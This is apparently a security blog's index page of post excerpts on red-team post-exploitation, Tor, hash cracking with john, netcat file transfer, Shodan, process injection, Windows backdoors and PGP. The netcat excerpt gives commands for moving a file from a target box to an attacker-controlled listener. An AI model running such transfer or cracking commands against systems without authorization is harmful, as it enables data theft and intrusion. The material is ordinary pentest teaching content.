Freedom Fighting Mode (FFM) FFM is a hacking harness that you can use during the post-exploitation phase of a red-teaming engagement. The idea of the tool was derived from a 2007 conference from @thegrugq. It was presented at SSTIC 2018 (video) and the accompanying slide deck is available at this url. If you’re not…

Overview Tor has become a staple over the years. It is used by journalists, activists, privacy enthusiasts and malicious cyber actors alike. Going into the intricacies of Tor is certainly beyond the scope of this post, however, today I wanted to discuss the different Tor connection methods and how they can…

Identifying Hashes https://hashes.com/en/tools/hash_identifier https://www.tunnelsup.com/hash-analyzer/ https://md5hashing.net/hash/ Online Hash Crackers https://crackstation.net https://hashes.com/en/decrypt/hash Format-Specific Cracking Once you have identified the hash that you’re dealing with, you can tell john to use it while cracking the provided hash using the following syntax: john --format=[format] --wordlist=[path to wordlist] [path to file]

Netcat File Transfer Step 1 Create a file on the target box in the /tmp directory touch file.txt Set up the listener and direct STDOUT into the new file nc -nlvp 1234 > file.txt Send the file nc [target box ip] 1234 < file-to-be-transfered.txt Method Two On the attacker machine run: nc -lvp 443> transfer.txt …

In today’s interconnected world, the internet serves as an expansive ocean of data, with a vast array of websites, databases, and servers spread across its depths. However, there exists an enigmatic realm within this digital expanse known as Shodan — a search engine unlike any other. …

Introduction Process injection is a technique widely used in the field of cybersecurity and software development. It involves injecting code into a running process, thereby manipulating its behavior or gaining unauthorized access. …

Introduction: In an increasingly connected world, maintaining online privacy and security has become paramount. Tor (The Onion Router) is a powerful network that allows users to protect their identities and access the internet anonymously. To further enhance Tor’s capabilities, a tool called Torsocks comes into play. In this blog post, we…

Introduction: As a red team operator, it is crucial to continually explore advanced techniques to effectively simulate real-world threats during authorized penetration tests. Backdooring Windows systems provides a powerful avenue for unauthorized access and control. In this reference manual, we will explore five advanced ways to backdoor a Windows system, equipping…

In today’s world, online communication is an essential part of our daily lives. However, with the increasing use of the internet comes the risk of our sensitive information being compromised. One solution to this problem is to use PGP encryption. PGP (Pretty Good Privacy) is a data encryption technique used…